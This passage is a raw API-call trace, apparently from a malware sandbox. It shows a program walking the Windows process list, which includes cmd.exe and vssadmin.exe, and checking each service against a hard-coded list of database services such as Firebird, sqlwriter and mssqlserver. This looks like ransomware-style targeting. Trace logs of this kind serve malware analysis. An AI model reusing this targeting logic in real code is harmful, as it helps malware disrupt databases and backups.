dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0128.621] lstrlenW (lpString="burlington.exe") returned 14 [0128.621] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0128.622] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0128.622] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0128.623] lstrlenW (lpString="buildings.exe") returned 13 [0128.623] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0128.624] lstrlenW (lpString="predictions_took.exe") returned 20 [0128.624] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0128.624] lstrlenW (lpString="carry_dns.exe") returned 13 [0128.624] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0128.625] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0128.625] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.626] lstrlenW (lpString="svchost.exe") returned 11 [0128.626] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0128.627] lstrlenW (lpString="sppsvc.exe") returned 10 [0128.627] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.628] lstrlenW (lpString="svchost.exe") returned 11 [0128.628] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0128.629] lstrlenW (lpString="msiexec.exe") returned 11 [0128.629] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0128.630] lstrlenW (lpString="cmd.exe") returned 7 [0128.630] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.631] lstrlenW (lpString="conhost.exe") returned 11 [0128.631] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0128.632] lstrlenW (lpString="vssadmin.exe") returned 12 [0128.632] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0128.633] lstrlenW (lpString="VSSVC.exe") returned 9 [0128.633] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.634] lstrlenW (lpString="svchost.exe") returned 11 [0128.634] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0128.635] CloseHandle (hObject=0x208) returned 1 [0128.635] Sleep (dwMilliseconds=0x1f4) [0129.369] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52c278 [0129.370] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0129.370] GetLastError () returned 0xea [0129.370] EnumServicesStatusExW (in: hSCManager=0x52c278, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5de958, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5de958, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0129.370] CloseServiceHandle (hSCObject=0x52c278) returned 1 [0129.370] lstrlenW (lpString="Appinfo") returned 7 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0129.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0129.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0129.371] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.371] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.371] lstrlenW (lpString="AudioSrv") returned 8 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0129.371] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0129.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0129.371] lstrlenW (lpString="BFE") returned 3 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.371] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.371] lstrlenW (lpString="CryptSvc") returned 8 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0129.371] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0129.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0129.371] lstrlenW (lpString="CscService") returned 10 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0129.371] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0129.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0129.371] lstrlenW (lpString="DcomLaunch") returned 10 [0129.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.371] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.372] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.372] lstrlenW (lpString="Dhcp") returned 4 [0129.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.372] lstrlenW (lpString="Dnscache") returned 8 [0129.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.372] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.372] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.372] lstrlenW (lpString="DPS") returned 3 [0129.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0129.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0129.372] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0129.372] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0129.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0129.372] lstrlenW (lpString="eventlog") returned 8 [0129.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0129.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0129.372] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0129.372] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0129.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0129.372] lstrlenW (lpString="EventSystem") returned 11 [0129.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.372] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.372] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.372] lstrlenW (lpString="FontCache") returned 9 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0129.373] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0129.373] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0129.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0129.373] lstrlenW (lpString="gpsvc") returned 5 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.373] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.373] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.373] lstrlenW (lpString="iphlpsvc") returned 8 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0129.373] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0129.373] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0129.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0129.373] lstrlenW (lpString="LanmanServer") returned 12 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0129.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0129.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0129.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0129.373] lstrlenW (lpString="LanmanWorkstation") returned 17 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.373] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0129.373] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0129.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0129.373] lstrlenW (lpString="lmhosts") returned 7 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.373] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.373] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.373] lstrlenW (lpString="MMCSS") returned 5 [0129.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0129.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0129.374] lstrlenW (lpString="MpsSvc") returned 6 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0129.374] lstrlenW (lpString="Netman") returned 6 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0129.374] lstrlenW (lpString="netprofm") returned 8 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0129.374] lstrlenW (lpString="NlaSvc") returned 6 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0129.374] lstrlenW (lpString="nsi") returned 3 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.374] lstrlenW (lpString="PcaSvc") returned 6 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0129.374] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0129.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0129.374] lstrlenW (lpString="PlugPlay") returned 8 [0129.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.374] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.375] lstrlenW (lpString="Power") returned 5 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.375] lstrlenW (lpString="ProfSvc") returned 7 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.375] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.375] lstrlenW (lpString="RpcSs") returned 5 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.375] lstrlenW (lpString="SamSs") returned 5 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.375] lstrlenW (lpString="Schedule") returned 8 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.375] lstrlenW (lpString="SENS") returned 4 [0129.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.376] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.376] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.376] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.376] lstrlenW (lpString="Spooler") returned 7 [0129.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.376] lstrlenW (lpString="sppsvc") returned 6 [0129.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0129.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0129.376] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0129.376] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0129.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0129.376] lstrlenW (lpString="swprv") returned 5 [0129.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0129.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0129.376] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0129.376] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0129.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0129.376] lstrlenW (lpString="SysMain") returned 7 [0129.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0129.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0129.376] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0129.376] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0129.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0129.376] lstrlenW (lpString="Themes") returned 6 [0129.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0129.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0129.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0129.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0129.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0129.377] lstrlenW (lpString="TrkWks") returned 6 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0129.377] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0129.377] lstrlenW (lpString="UxSms") returned 5 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0129.377] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0129.377] lstrlenW (lpString="VSS") returned 3 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0129.377] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0129.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0129.377] lstrlenW (lpString="W32Time") returned 7 [0129.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0129.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0129.377] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0129.377] 